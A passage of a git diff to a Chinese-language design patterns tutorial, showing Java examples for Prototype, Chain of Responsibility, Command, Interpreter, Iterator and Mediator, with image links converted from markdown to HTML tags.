-- [java.lang.Appendable](http://docs.oracle.com/javase/8/docs/api/java/lang/Appendable.html)
-- [Apache Camel builders](https://github.com/apache/camel/tree/0e195428ee04531be27a0b659005e3aa8d159d23/camel-core/src/main/java/org/apache/camel/builder)
+- [java.lang.StringBuilder](http://docs.oracle.com/javase/8/docs/api/java/lang/StringBuilder.html)
+- [java.nio.ByteBuffer](http://docs.oracle.com/javase/8/docs/api/java/nio/ByteBuffer.html#put-byte-)
+- [java.lang.StringBuffer](http://docs.oracle.com/javase/8/docs/api/java/lang/StringBuffer.html#append-boolean-)
+- [java.lang.Appendable](http://docs.oracle.com/javase/8/docs/api/java/lang/Appendable.html)
+- [Apache Camel builders](https://github.com/apache/camel/tree/0e195428ee04531be27a0b659005e3aa8d159d23/camel-core/src/main/java/org/apache/camel/builder)
 
-## 6. 原型模式（Prototype）
+## 6. 原型模式（Prototype）
 
-### Intent
+### Intent
 
 使用原型实例指定要创建对象的类型，通过复制这个原型来创建新对象。
 
-### Class Diagram
+### Class Diagram
 
-![](index_files/a40661e4-1a71-46d2-a158-ff36f7fc3331.png)
+<div align="center"> <img src="pics/a40661e4-1a71-46d2-a158-ff36f7fc3331.png"/> </div><br>
 
-### Implementation
+### Implementation
 
 ```java
-public abstract class Prototype {
-    abstract Prototype myClone();
+public abstract class Prototype {
+    abstract Prototype myClone();
 }
 ```
 
 ```java
-public class ConcretePrototype extends Prototype {
+public class ConcretePrototype extends Prototype {
 
-    private String filed;
+    private String filed;
 
-    public ConcretePrototype(String filed) {
-        this.filed = filed;
-    }
+    public ConcretePrototype(String filed) {
+        this.filed = filed;
+    }
 
-    @Override
-    Prototype myClone() {
-        return new ConcretePrototype(filed);
-    }
+    @Override
+    Prototype myClone() {
+        return new ConcretePrototype(filed);
+    }
 
-    @Override
-    public String toString() {
-        return filed;
-    }
+    @Override
+    public String toString() {
+        return filed;
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        Prototype prototype = new ConcretePrototype("abc");
-        Prototype clone = prototype.myClone();
-        System.out.println(clone.toString());
-    }
+public class Client {
+    public static void main(String[] args) {
+        Prototype prototype = new ConcretePrototype("abc");
+        Prototype clone = prototype.myClone();
+        System.out.println(clone.toString());
+    }
 }
 ```
 
@@ -593,379 +628,379 @@ public class Client {
 abc
 ```
 
-### JDK
+### JDK
 
-- [java.lang.Object#clone()](http://docs.oracle.com/javase/8/docs/api/java/lang/Object.html#clone%28%29)
+- [java.lang.Object#clone()](http://docs.oracle.com/javase/8/docs/api/java/lang/Object.html#clone%28%29)
 
-# 三、行为型
+# 三、行为型
 
-## 1. 责任链（Chain Of Responsibility）
+## 1. 责任链（Chain Of Responsibility）
 
-### Intent
+### Intent
 
 使多个对象都有机会处理请求，从而避免请求的发送者和接收者之间的耦合关系。将这些对象连成一条链，并沿着这条链发送该请求，直到有一个对象处理它为止。
 
-### Class Diagram
+### Class Diagram
 
-- Handler：定义处理请求的接口，并且实现后继链（successor）
+- Handler：定义处理请求的接口，并且实现后继链（successor）
 
-![](index_files/691f11eb-31a7-46be-9de1-61f433c4b3c7.png)
+<div align="center"> <img src="pics/691f11eb-31a7-46be-9de1-61f433c4b3c7.png"/> </div><br>
 
-### Implementation
+### Implementation
 
 ```java
-public abstract class Handler {
+public abstract class Handler {
 
-    protected Handler successor;
+    protected Handler successor;
 
 
-    public Handler(Handler successor) {
-        this.successor = successor;
-    }
+    public Handler(Handler successor) {
+        this.successor = successor;
+    }
 
 
-    protected abstract void handleRequest(Request request);
+    protected abstract void handleRequest(Request request);
 }
 ```
 
 ```java
-public class ConcreteHandler1 extends Handler {
+public class ConcreteHandler1 extends Handler {
 
-    public ConcreteHandler1(Handler successor) {
-        super(successor);
-    }
+    public ConcreteHandler1(Handler successor) {
+        super(successor);
+    }
 
 
-    @Override
-    protected void handleRequest(Request request) {
-        if (request.getType() == RequestType.TYPE1) {
-            System.out.println(request.getName() + " is handle by ConcreteHandler1");
-            return;
-        }
-        if (successor != null) {
-            successor.handleRequest(request);
-        }
-    }
+    @Override
+    protected void handleRequest(Request request) {
+        if (request.getType() == RequestType.TYPE1) {
+            System.out.println(request.getName() + " is handle by ConcreteHandler1");
+            return;
+        }
+        if (successor != null) {
+            successor.handleRequest(request);
+        }
+    }
 }
 ```
 
 ```java
-public class ConcreteHandler2 extends Handler {
+public class ConcreteHandler2 extends Handler {
 
-    public ConcreteHandler2(Handler successor) {
-        super(successor);
-    }
+    public ConcreteHandler2(Handler successor) {
+        super(successor);
+    }
 
 
-    @Override
-    protected void handleRequest(Request request) {
-        if (request.getType() == RequestType.TYPE2) {
-            System.out.println(request.getName() + " is handle by ConcreteHandler2");
-            return;
-        }
-        if (successor != null) {
-            successor.handleRequest(request);
-        }
-    }
+    @Override
+    protected void handleRequest(Request request) {
+        if (request.getType() == RequestType.TYPE2) {
+            System.out.println(request.getName() + " is handle by ConcreteHandler2");
+            return;
+        }
+        if (successor != null) {
+            successor.handleRequest(request);
+        }
+    }
 }
 ```
 
 ```java
-public class Request {
+public class Request {
 
-    private RequestType type;
-    private String name;
+    private RequestType type;
+    private String name;
 
 
-    public Request(RequestType type, String name) {
-        this.type = type;
-        this.name = name;
-    }
+    public Request(RequestType type, String name) {
+        this.type = type;
+        this.name = name;
+    }
 
 
-    public RequestType getType() {
-        return type;
-    }
+    public RequestType getType() {
+        return type;
+    }
 
 
-    public String getName() {
-        return name;
-    }
+    public String getName() {
+        return name;
+    }
 }
 
 ```
 
 ```java
-public enum RequestType {
-    TYPE1, TYPE2
+public enum RequestType {
+    TYPE1, TYPE2
 }
 ```
 
 ```java
-public class Client {
+public class Client {
 
-    public static void main(String[] args) {
+    public static void main(String[] args) {
 
-        Handler handler1 = new ConcreteHandler1(null);
-        Handler handler2 = new ConcreteHandler2(handler1);
+        Handler handler1 = new ConcreteHandler1(null);
+        Handler handler2 = new ConcreteHandler2(handler1);
 
-        Request request1 = new Request(RequestType.TYPE1, "request1");
-        handler2.handleRequest(request1);
+        Request request1 = new Request(RequestType.TYPE1, "request1");
+        handler2.handleRequest(request1);
 
-        Request request2 = new Request(RequestType.TYPE2, "request2");
-        handler2.handleRequest(request2);
-    }
+        Request request2 = new Request(RequestType.TYPE2, "request2");
+        handler2.handleRequest(request2);
+    }
 }
 ```
 
 ```html
-request1 is handle by ConcreteHandler1
-request2 is handle by ConcreteHandler2
+request1 is handle by ConcreteHandler1
+request2 is handle by ConcreteHandler2
 ```
 
-### JDK
+### JDK
 
-- [java.util.logging.Logger#log()](http://docs.oracle.com/javase/8/docs/api/java/util/logging/Logger.html#log%28java.util.logging.Level,%20java.lang.String%29)
-- [Apache Commons Chain](https://commons.apache.org/proper/commons-chain/index.html)
-- [javax.servlet.Filter#doFilter()](http://docs.oracle.com/javaee/7/api/javax/servlet/Filter.html#doFilter-javax.servlet.ServletRequest-javax.servlet.ServletResponse-javax.servlet.FilterChain-)
+- [java.util.logging.Logger#log()](http://docs.oracle.com/javase/8/docs/api/java/util/logging/Logger.html#log%28java.util.logging.Level,%20java.lang.String%29)
+- [Apache Commons Chain](https://commons.apache.org/proper/commons-chain/index.html)
+- [javax.servlet.Filter#doFilter()](http://docs.oracle.com/javaee/7/api/javax/servlet/Filter.html#doFilter-javax.servlet.ServletRequest-javax.servlet.ServletResponse-javax.servlet.FilterChain-)
 
-## 2. 命令（Command）
+## 2. 命令（Command）
 
-### Intent
+### Intent
 
 将命令封装成对象中，具有以下作用：
 
-- 使用命令来参数化其它对象
-- 将命令放入队列中进行排队
-- 将命令的操作记录到日志中
-- 支持可撤销的操作
+- 使用命令来参数化其它对象
+- 将命令放入队列中进行排队
+- 将命令的操作记录到日志中
+- 支持可撤销的操作
 
-### Class Diagram
+### Class Diagram
 
-- Command：命令
-- Receiver：命令接收者，也就是命令真正的执行者
-- Invoker：通过它来调用命令
-- Client：可以设置命令与命令的接收者
+- Command：命令
+- Receiver：命令接收者，也就是命令真正的执行者
+- Invoker：通过它来调用命令
+- Client：可以设置命令与命令的接收者
 
-![](index_files/ae1b27b8-bc13-42e7-ac12-a2242e125499.png)
+<div align="center"> <img src="pics/ae1b27b8-bc13-42e7-ac12-a2242e125499.png"/> </div><br>
 
-### Implementation
+### Implementation
 
 设计一个遥控器，可以控制电灯开关。
 
-![](index_files/e6bded8e-41a0-489a-88a6-638e88ab7666.jpg)
+<div align="center"> <img src="pics/e6bded8e-41a0-489a-88a6-638e88ab7666.jpg"/> </div><br>
 
 ```java
-public interface Command {
-    void execute();
+public interface Command {
+    void execute();
 }
 ```
 
 ```java
-public class LightOnCommand implements Command {
-    Light light;
+public class LightOnCommand implements Command {
+    Light light;
 
-    public LightOnCommand(Light light) {
-        this.light = light;
-    }
+    public LightOnCommand(Light light) {
+        this.light = light;
+    }
 
-    @Override
-    public void execute() {
-        light.on();
-    }
+    @Override
+    public void execute() {
+        light.on();
+    }
 }
 ```
 
 ```java
-public class LightOffCommand implements Command {
-    Light light;
+public class LightOffCommand implements Command {
+    Light light;
 
-    public LightOffCommand(Light light) {
-        this.light = light;
-    }
+    public LightOffCommand(Light light) {
+        this.light = light;
+    }
 
-    @Override
-    public void execute() {
-        light.off();
-    }
+    @Override
+    public void execute() {
+        light.off();
+    }
 }
 ```
 
 ```java
-public class Light {
+public class Light {
 
-    public void on() {
-        System.out.println("Light is on!");
-    }
+    public void on() {
+        System.out.println("Light is on!");
+    }
 
-    public void off() {
-        System.out.println("Light is off!");
-    }
+    public void off() {
+        System.out.println("Light is off!");
+    }
 }
 ```
 
 ```java
 /**
- * 遥控器
- */
-public class Invoker {
-    private Command[] onCommands;
-    private Command[] offCommands;
-    private final int slotNum = 7;
+ * 遥控器
+ */
+public class Invoker {
+    private Command[] onCommands;
+    private Command[] offCommands;
+    private final int slotNum = 7;
 
-    public Invoker() {
-        this.onCommands = new Command[slotNum];
-        this.offCommands = new Command[slotNum];
-    }
+    public Invoker() {
+        this.onCommands = new Command[slotNum];
+        this.offCommands = new Command[slotNum];
+    }
 
-    public void setOnCommand(Command command, int slot) {
-        onCommands[slot] = command;
-    }
+    public void setOnCommand(Command command, int slot) {
+        onCommands[slot] = command;
+    }
 
-    public void setOffCommand(Command command, int slot) {
-        offCommands[slot] = command;
-    }
+    public void setOffCommand(Command command, int slot) {
+        offCommands[slot] = command;
+    }
 
-    public void onButtonWasPushed(int slot) {
-        onCommands[slot].execute();
-    }
+    public void onButtonWasPushed(int slot) {
+        onCommands[slot].execute();
+    }
 
-    public void offButtonWasPushed(int slot) {
-        offCommands[slot].execute();
-    }
+    public void offButtonWasPushed(int slot) {
+        offCommands[slot].execute();
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        Invoker invoker = new Invoker();
-        Light light = new Light();
-        Command lightOnCommand = new LightOnCommand(light);
-        Command lightOffCommand = new LightOffCommand(light);
-        invoker.setOnCommand(lightOnCommand, 0);
-        invoker.setOffCommand(lightOffCommand, 0);
-        invoker.onButtonWasPushed(0);
-        invoker.offButtonWasPushed(0);
-    }
+public class Client {
+    public static void main(String[] args) {
+        Invoker invoker = new Invoker();
+        Light light = new Light();
+        Command lightOnCommand = new LightOnCommand(light);
+        Command lightOffCommand = new LightOffCommand(light);
+        invoker.setOnCommand(lightOnCommand, 0);
+        invoker.setOffCommand(lightOffCommand, 0);
+        invoker.onButtonWasPushed(0);
+        invoker.offButtonWasPushed(0);
+    }
 }
 ```
 
-### JDK
+### JDK
 
-- [java.lang.Runnable](http://docs.oracle.com/javase/8/docs/api/java/lang/Runnable.html)
-- [Netflix Hystrix](https://github.com/Netflix/Hystrix/wiki)
-- [javax.swing.Action](http://docs.oracle.com/javase/8/docs/api/javax/swing/Action.html)
+- [java.lang.Runnable](http://docs.oracle.com/javase/8/docs/api/java/lang/Runnable.html)
+- [Netflix Hystrix](https://github.com/Netflix/Hystrix/wiki)
+- [javax.swing.Action](http://docs.oracle.com/javase/8/docs/api/javax/swing/Action.html)
 
-## 3. 解释器（Interpreter）
+## 3. 解释器（Interpreter）
 
-### Intent
+### Intent
 
 为语言创建解释器，通常由语言的语法和语法分析来定义。
 
-### Class Diagram
+### Class Diagram
 
-- TerminalExpression：终结符表达式，每个终结符都需要一个 TerminalExpression。
-- Context：上下文，包含解释器之外的一些全局信息。
+- TerminalExpression：终结符表达式，每个终结符都需要一个 TerminalExpression。
+- Context：上下文，包含解释器之外的一些全局信息。
 
-![](index_files/794239e3-4baf-4aad-92df-f02f59b2a6fe.png)
+<div align="center"> <img src="pics/794239e3-4baf-4aad-92df-f02f59b2a6fe.png"/> </div><br>
 
-### Implementation
+### Implementation
 
-以下是一个规则检验器实现，具有 and 和 or 规则，通过规则可以构建一颗解析树，用来检验一个文本是否满足解析树定义的规则。
+以下是一个规则检验器实现，具有 and 和 or 规则，通过规则可以构建一颗解析树，用来检验一个文本是否满足解析树定义的规则。
 
-例如一颗解析树为 D And (A Or (B C))，文本 "D A" 满足该解析树定义的规则。
+例如一颗解析树为 D And (A Or (B C))，文本 "D A" 满足该解析树定义的规则。
 
-这里的 Context 指的是 String。
+这里的 Context 指的是 String。
 
 ```java
-public abstract class Expression {
-    public abstract boolean interpret(String str);
+public abstract class Expression {
+    public abstract boolean interpret(String str);
 }
 ```
 
 ```java
-public class TerminalExpression extends Expression {
+public class TerminalExpression extends Expression {
 
-    private String literal = null;
+    private String literal = null;
 
-    public TerminalExpression(String str) {
-        literal = str;
-    }
+    public TerminalExpression(String str) {
+        literal = str;
+    }
 
-    public boolean interpret(String str) {
-        StringTokenizer st = new StringTokenizer(str);
-        while (st.hasMoreTokens()) {
-            String test = st.nextToken();
-            if (test.equals(literal)) {
-                return true;
-            }
-        }
-        return false;
-    }
+    public boolean interpret(String str) {
+        StringTokenizer st = new StringTokenizer(str);
+        while (st.hasMoreTokens()) {
+            String test = st.nextToken();
+            if (test.equals(literal)) {
+                return true;
+            }
+        }
+        return false;
+    }
 }
 ```
 
 ```java
-public class AndExpression extends Expression {
+public class AndExpression extends Expression {
 
-    private Expression expression1 = null;
-    private Expression expression2 = null;
+    private Expression expression1 = null;
+    private Expression expression2 = null;
 
-    public AndExpression(Expression expression1, Expression expression2) {
-        this.expression1 = expression1;
-        this.expression2 = expression2;
-    }
+    public AndExpression(Expression expression1, Expression expression2) {
+        this.expression1 = expression1;
+        this.expression2 = expression2;
+    }
 
-    public boolean interpret(String str) {
-        return expression1.interpret(str) && expression2.interpret(str);
-    }
+    public boolean interpret(String str) {
+        return expression1.interpret(str) && expression2.interpret(str);
+    }
 }
 ```
 
 ```java
-public class OrExpression extends Expression {
-    private Expression expression1 = null;
-    private Expression expression2 = null;
+public class OrExpression extends Expression {
+    private Expression expression1 = null;
+    private Expression expression2 = null;
 
-    public OrExpression(Expression expression1, Expression expression2) {
-        this.expression1 = expression1;
-        this.expression2 = expression2;
-    }
+    public OrExpression(Expression expression1, Expression expression2) {
+        this.expression1 = expression1;
+        this.expression2 = expression2;
+    }
 
-    public boolean interpret(String str) {
-        return expression1.interpret(str) || expression2.interpret(str);
-    }
+    public boolean interpret(String str) {
+        return expression1.interpret(str) || expression2.interpret(str);
+    }
 }
 ```
 
 ```java
-public class Client {
+public class Client {
 
-    /**
-     * 构建解析树
-     */
-    public static Expression buildInterpreterTree() {
-        // Literal
-        Expression terminal1 = new TerminalExpression("A");
-        Expression terminal2 = new TerminalExpression("B");
-        Expression terminal3 = new TerminalExpression("C");
-        Expression terminal4 = new TerminalExpression("D");
-        // B C
-        Expression alternation1 = new OrExpression(terminal2, terminal3);
-        // A Or (B C)
-        Expression alternation2 = new OrExpression(terminal1, alternation1);
-        // D And (A Or (B C))
-        return new AndExpression(terminal4, alternation2);
-    }
+    /**
+     * 构建解析树
+     */
+    public static Expression buildInterpreterTree() {
+        // Literal
+        Expression terminal1 = new TerminalExpression("A");
+        Expression terminal2 = new TerminalExpression("B");
+        Expression terminal3 = new TerminalExpression("C");
+        Expression terminal4 = new TerminalExpression("D");
+        // B C
+        Expression alternation1 = new OrExpression(terminal2, terminal3);
+        // A Or (B C)
+        Expression alternation2 = new OrExpression(terminal1, alternation1);
+        // D And (A Or (B C))
+        return new AndExpression(terminal4, alternation2);
+    }
 
-    public static void main(String[] args) {
-        Expression define = buildInterpreterTree();
-        String context1 = "D A";
-        String context2 = "A B";
-        System.out.println(define.interpret(context1));
-        System.out.println(define.interpret(context2));
-    }
+    public static void main(String[] args) {
+        Expression define = buildInterpreterTree();
+        String context1 = "D A";
+        String context2 = "A B";
+        System.out.println(define.interpret(context1));
+        System.out.println(define.interpret(context2));
+    }
 }
 ```
 
@@ -974,254 +1009,254 @@ true
 false
 ```
 
-### JDK
+### JDK
 
-- [java.util.Pattern](http://docs.oracle.com/javase/8/docs/api/java/util/regex/Pattern.html)
-- [java.text.Normalizer](http://docs.oracle.com/javase/8/docs/api/java/text/Normalizer.html)
-- All subclasses of [java.text.Format](http://docs.oracle.com/javase/8/docs/api/java/text/Format.html)
-- [javax.el.ELResolver](http://docs.oracle.com/javaee/7/api/javax/el/ELResolver.html)
+- [java.util.Pattern](http://docs.oracle.com/javase/8/docs/api/java/util/regex/Pattern.html)
+- [java.text.Normalizer](http://docs.oracle.com/javase/8/docs/api/java/text/Normalizer.html)
+- All subclasses of [java.text.Format](http://docs.oracle.com/javase/8/docs/api/java/text/Format.html)
+- [javax.el.ELResolver](http://docs.oracle.com/javaee/7/api/javax/el/ELResolver.html)
 
-## 4. 迭代器（Iterator）
+## 4. 迭代器（Iterator）
 
-### Intent
+### Intent
 
 提供一种顺序访问聚合对象元素的方法，并且不暴露聚合对象的内部表示。
 
-### Class Diagram
+### Class Diagram
 
-- Aggregate 是聚合类，其中 createIterator() 方法可以产生一个 Iterator；
-- Iterator 主要定义了 hasNext() 和 next() 方法。
-- Client 组合了 Aggregate，为了迭代遍历 Aggregate，也需要组合 Iterator。
+- Aggregate 是聚合类，其中 createIterator() 方法可以产生一个 Iterator；
+- Iterator 主要定义了 hasNext() 和 next() 方法。
+- Client 组合了 Aggregate，为了迭代遍历 Aggregate，也需要组合 Iterator。
 
-![](index_files/b0f61ac2-a4b6-4042-9cf0-ccf4238c1ff7.png)
+<div align="center"> <img src="pics/b0f61ac2-a4b6-4042-9cf0-ccf4238c1ff7.png"/> </div><br>
 
-### Implementation
+### Implementation
 
 ```java
-public interface Aggregate {
-    Iterator createIterator();
+public interface Aggregate {
+    Iterator createIterator();
 }
 ```
 
 ```java
-public class ConcreteAggregate implements Aggregate {
+public class ConcreteAggregate implements Aggregate {
 
-    private Integer[] items;
+    private Integer[] items;
 
-    public ConcreteAggregate() {
-        items = new Integer[10];
-        for (int i = 0; i < items.length; i++) {
-            items[i] = i;
-        }
-    }
+    public ConcreteAggregate() {
+        items = new Integer[10];
+        for (int i = 0; i < items.length; i++) {
+            items[i] = i;
+        }
+    }
 
-    @Override
-    public Iterator createIterator() {
-        return new ConcreteIterator<Integer>(items);
-    }
+    @Override
+    public Iterator createIterator() {
+        return new ConcreteIterator<Integer>(items);
+    }
 }
 ```
 
 ```java
-public interface Iterator<Item> {
+public interface Iterator<Item> {
 
-    Item next();
+    Item next();
 
-    boolean hasNext();
+    boolean hasNext();
 }
 ```
 
 ```java
-public class ConcreteIterator<Item> implements Iterator {
+public class ConcreteIterator<Item> implements Iterator {
 
-    private Item[] items;
-    private int position = 0;
+    private Item[] items;
+    private int position = 0;
 
-    public ConcreteIterator(Item[] items) {
-        this.items = items;
-    }
+    public ConcreteIterator(Item[] items) {
+        this.items = items;
+    }
 
-    @Override
-    public Object next() {
-        return items[position++];
-    }
+    @Override
+    public Object next() {
+        return items[position++];
+    }
 
-    @Override
-    public boolean hasNext() {
-        return position < items.length;
-    }
+    @Override
+    public boolean hasNext() {
+        return position < items.length;
+    }
 }
 ```
 
 ```java
-public class Client {
+public class Client {
 
-    public static void main(String[] args) {
-        Aggregate aggregate = new ConcreteAggregate();
-        Iterator<Integer> iterator = aggregate.createIterator();
-        while (iterator.hasNext()) {
-            System.out.println(iterator.next());
-        }
-    }
+    public static void main(String[] args) {
+        Aggregate aggregate = new ConcreteAggregate();
+        Iterator<Integer> iterator = aggregate.createIterator();
+        while (iterator.hasNext()) {
+            System.out.println(iterator.next());
+        }
+    }
 }
 ```
 
-### JDK
+### JDK
 
-- [java.util.Iterator](http://docs.oracle.com/javase/8/docs/api/java/util/Iterator.html)
-- [java.util.Enumeration](http://docs.oracle.com/javase/8/docs/api/java/util/Enumeration.html)
+- [java.util.Iterator](http://docs.oracle.com/javase/8/docs/api/java/util/Iterator.html)
+- [java.util.Enumeration](http://docs.oracle.com/javase/8/docs/api/java/util/Enumeration.html)
 
-## 5. 中介者（Mediator）
+## 5. 中介者（Mediator）
 
-### Intent
+### Intent
 
 集中相关对象之间复杂的沟通和控制方式。
 
-### Class Diagram
+### Class Diagram
 
-- Mediator：中介者，定义一个接口用于与各同事（Colleague）对象通信。
-- Colleague：同事，相关对象
+- Mediator：中介者，定义一个接口用于与各同事（Colleague）对象通信。
+- Colleague：同事，相关对象
 
-![](index_files/d0afdd23-c9a5-4d1c-9b3d-404bff3bd0d1.png)
+<div align="center"> <img src="pics/d0afdd23-c9a5-4d1c-9b3d-404bff3bd0d1.png"/> </div><br>
 
-### Implementation
+### Implementation
 
 Alarm（闹钟）、CoffeePot（咖啡壶）、Calendar（日历）、Sprinkler（喷头）是一组相关的对象，在某个对象的事件产生时需要去操作其它对象，形成了下面这种依赖结构：
 
-![](index_files/82cfda3b-b53b-4c89-9fdb-26dd2db0cd02.jpg)
+<div align="center"> <img src="pics/82cfda3b-b53b-4c89-9fdb-26dd2db0cd02.jpg"/> </div><br>
 
 使用中介者模式可以将复杂的依赖结构变成星形结构：
 
-![](index_files/5359cbf5-5a79-4874-9b17-f23c53c2cb80.jpg)
+<div align="center"> <img src="pics/5359cbf5-5a79-4874-9b17-f23c53c2cb80.jpg"/> </div><br>
 
 ```java
-public abstract class Colleague {
-    public abstract void onEvent(Mediator mediator);
+public abstract class Colleague {
+    public abstract void onEvent(Mediator mediator);
 }
 ```
 
 ```java
-public class Alarm extends Colleague {
+public class Alarm extends Colleague {
 
-    @Override
-    public void onEvent(Mediator mediator) {
-        mediator.doEvent("alarm");
-    }
+    @Override
+    public void onEvent(Mediator mediator) {
+        mediator.doEvent("alarm");
+    }
 
-    public void doAlarm() {
-        System.out.println("doAlarm()");
-    }
+    public void doAlarm() {
+        System.out.println("doAlarm()");
+    }
 }
 ```
 
 ```java
-public class CoffeePot extends Colleague {
-    @Override
-    public void onEvent(Mediator mediator) {
-        mediator.doEvent("coffeePot");
-    }
+public class CoffeePot extends Colleague {
+    @Override
+    public void onEvent(Mediator mediator) {
+        mediator.doEvent("coffeePot");
+    }
 
-    public void doCoffeePot() {
-        System.out.println("doCoffeePot()");
-    }
+    public void doCoffeePot() {
+        System.out.println("doCoffeePot()");
+    }
 }
 ```
 
 ```java
-public class Calender extends Colleague {
-    @Override
-    public void onEvent(Mediator mediator) {
-        mediator.doEvent("calender");
-    }
+public class Calender extends Colleague {
+    @Override
+    public void onEvent(Mediator mediator) {
+        mediator.doEvent("calender");
+    }
 
-    public void doCalender() {
-        System.out.println("doCalender()");
-    }
+    public void doCalender() {
+        System.out.println("doCalender()");
+    }
 }
 ```
 
 ```java
-public class Sprinkler extends Colleague {
-    @Override
-    public void onEvent(Mediator mediator) {
-        mediator.doEvent("sprinkler");
-    }
+public class Sprinkler extends Colleague {
+    @Override
+    public void onEvent(Mediator mediator) {
+        mediator.doEvent("sprinkler");
+    }
 
-    public void doSprinkler() {
-        System.out.println("doSprinkler()");
-    }
+    public void doSprinkler() {
+        System.out.println("doSprinkler()");
+    }
 }
 ```
 
 ```java
-public abstract class Mediator {
-    public abstract void doEvent(String eventType);
+public abstract class Mediator {
+    public abstract void doEvent(String eventType);
 }
 ```
 
 ```java
-public class ConcreteMediator extends Mediator {
-    private Alarm alarm;
-    private CoffeePot coffeePot;
-    private Calender calender;
-    private Sprinkler sprinkler;
+public class ConcreteMediator extends Mediator {
+    private Alarm alarm;
+    private CoffeePot coffeePot;
+    private Calender calender;
+    private Sprinkler sprinkler;
 
-    public ConcreteMediator(Alarm alarm, CoffeePot coffeePot, Calender calender, Sprinkler sprinkler) {
-        this.alarm = alarm;
-        this.coffeePot = coffeePot;
-        this.calender = calender;
-        this.sprinkler = sprinkler;
-    }
+    public ConcreteMediator(Alarm alarm, CoffeePot coffeePot, Calender calender, Sprinkler sprinkler) {
+        this.alarm = alarm;
+        this.coffeePot = coffeePot;
+        this.calender = calender;
+        this.sprinkler = sprinkler;
+    }
 
-    @Override
-    public void doEvent(String eventType) {
-        switch (eventType) {
-            case "alarm":
-                doAlarmEvent();
-                break;
-            case "coffeePot":
-                doCoffeePotEvent();
-                break;
-            case "calender":
-                doCalenderEvent();
-                break;
-            default:
-                doSprinklerEvent();
-        }
-    }
+    @Override
+    public void doEvent(String eventType) {
+        switch (eventType) {
+            case "alarm":
+                doAlarmEvent();
+                break;
+            case "coffeePot":
+                doCoffeePotEvent();
+                break;
+            case "calender":
+                doCalenderEvent();
+                break;
+            default:
+                doSprinklerEvent();
+        }
+    }
 
-    public void doAlarmEvent() {
-        alarm.doAlarm();
-        coffeePot.doCoffeePot();
-        calender.doCalender();
-        sprinkler.doSprinkler();
-    }
+    public void doAlarmEvent() {
+        alarm.doAlarm();
+        coffeePot.doCoffeePot();
+        calender.doCalender();
+        sprinkler.doSprinkler();
+    }
 
-    public void doCoffeePotEvent() {
-        // ...
-    }
+    public void doCoffeePotEvent() {
+        // ...
+    }
 
-    public void doCalenderEvent() {
-        // ...
-    }
+    public void doCalenderEvent() {
+        // ...
+    }
 
-    public void doSprinklerEvent() {
-        // ...
-    }
+    public void doSprinklerEvent() {
+        // ...
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        Alarm alarm = new Alarm();
-        CoffeePot coffeePot = new CoffeePot();
-        Calender calender = new Calender();
-        Sprinkler sprinkler = new Sprinkler();
-        Mediator mediator = new ConcreteMediator(alarm, coffeePot, calender, sprinkler);
-        // 闹钟事件到达，调用中介者就可以操作相关对象
-        alarm.onEvent(mediator);
-    }
+public class Client {
+    public static void main(String[] args) {
+        Alarm alarm = new Alarm();
+        CoffeePot coffeePot = new CoffeePot();
+        Calender calender = new Calender();
+        Sprinkler sprinkler = new Sprinkler();
+        Mediator mediator = new ConcreteMediator(alarm, coffeePot, calender, sprinkler);
+        // 闹钟事件到达，调用中介者就可以操作相关对象
+        alarm.onEvent(mediator);
+    }
 }
 ```
 
@@ -1232,178 +1267,178 @@ doCalender()
 doSprinkler()
 ```
 
-### JDK
+### JDK
 
-- All scheduleXXX() methods of [java.util.Timer](http://docs.oracle.com/javase/8/docs/api/java/util/Timer.html)
-- [java.util.concurrent.Executor#execute()](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/Executor.html#execute-java.lang.Runnable-)
-- submit() and invokeXXX() methods of [java.util.concurrent.ExecutorService](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ExecutorService.html)
-- scheduleXXX() methods of [java.util.concurrent.ScheduledExecutorService](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ScheduledExecutorService.html)
-- [java.lang.reflect.Method#invoke()](http://docs.oracle.com/javase/8/docs/api/java/lang/reflect/Method.html#invoke-java.lang.Object-java.lang.Object...-)
+- All scheduleXXX() methods of [java.util.Timer](http://docs.oracle.com/javase/8/docs/api/java/util/Timer.html)
+- [java.util.concurrent.Executor#execute()](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/Executor.html#execute-java.lang.Runnable-)
+- submit() and invokeXXX() methods of [java.util.concurrent.ExecutorService](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ExecutorService.html)
+- scheduleXXX() methods of [java.util.concurrent.ScheduledExecutorService](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ScheduledExecutorService.html)
+- [java.lang.reflect.Method#invoke()](http://docs.oracle.com/javase/8/docs/api/java/lang/reflect/Method.html#invoke-java.lang.Object-java.lang.Object...-)
 
-## 6. 备忘录（Memento）
+## 6. 备忘录（Memento）
 
-### Intent
+### Intent
 
 在不违反封装的情况下获得对象的内部状态，从而在需要时可以将对象恢复到最初状态。
 
-### Class Diagram
+### Class Diagram
 
-- Originator：原始对象
-- Caretaker：负责保存好备忘录
-- Menento：备忘录，存储原始对象的的状态。备忘录实际上有两个接口，一个是提供给 Caretaker 的窄接口：它只能将备忘录传递给其它对象；一个是提供给 Originator 的宽接口，允许它访问到先前状态所需的所有数据。理想情况是只允许 Originator 访问本备忘录的内部状态。
+- Originator：原始对象
+- Caretaker：负责保存好备忘录
+- Menento：备忘录，存储原始对象的的状态。备忘录实际上有两个接口，一个是提供给 Caretaker 的窄接口：它只能将备忘录传递给其它对象；一个是提供给 Originator 的宽接口，允许它访问到先前状态所需的所有数据。理想情况是只允许 Originator 访问本备忘录的内部状态。
 
-![](index_files/867e93eb-3161-4f39-b2d2-c0cd3788e194.png)
+<div align="center"> <img src="pics/867e93eb-3161-4f39-b2d2-c0cd3788e194.png"/> </div><br>
 
-### Implementation
+### Implementation
 
 以下实现了一个简单计算器程序，可以输入两个值，然后计算这两个值的和。备忘录模式允许将这两个值存储起来，然后在某个时刻用存储的状态进行恢复。
 
-实现参考：[Memento Pattern - Calculator Example - Java Sourcecode](https://www.oodesign.com/memento-pattern-calculator-example-java-sourcecode.html)
+实现参考：[Memento Pattern - Calculator Example - Java Sourcecode](https://www.oodesign.com/memento-pattern-calculator-example-java-sourcecode.html)
 
 ```java
 /**
- * Originator Interface
- */
-public interface Calculator {
+ * Originator Interface
+ */
+public interface Calculator {
 
-    // Create Memento
